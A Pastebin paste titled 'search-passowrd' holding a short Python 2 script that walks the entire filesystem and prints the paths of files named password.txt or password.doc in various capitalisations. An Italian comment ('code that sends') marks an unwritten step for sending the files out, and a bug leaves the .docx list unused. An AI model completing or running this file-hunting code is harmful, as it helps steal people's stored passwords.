pearos

search-passowrd by lokker

Oct 14th, 2015
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.56 KB | None | 0 0
  1. import os
  2. def  cerca(base):
  3.     for dir_, subdirs, files in os.walk (base):
  4.         for file in files:
  5.             yield os.path.join (dir_, file)
  6.  
  7. def password():
  8.     password = ["password.txt", "PASSWORD.txt", "Password.txt",
  9.                 "password.doc", "PASSWORD.doc", "Password.doc",]
  10.     password2 = ["password.docx", "PASSWORD.docx", "Password.docx"]
  11.  
  12.     for file in cerca("/"):
  13.         if file[-12:] in password:
  14.             print file
  15.             #codice che manda
  16.         elif file[-13:] in password:
  17.             print file
  18.  
  19. password()
Advertisement
Add Comment
Please, Sign In to add comment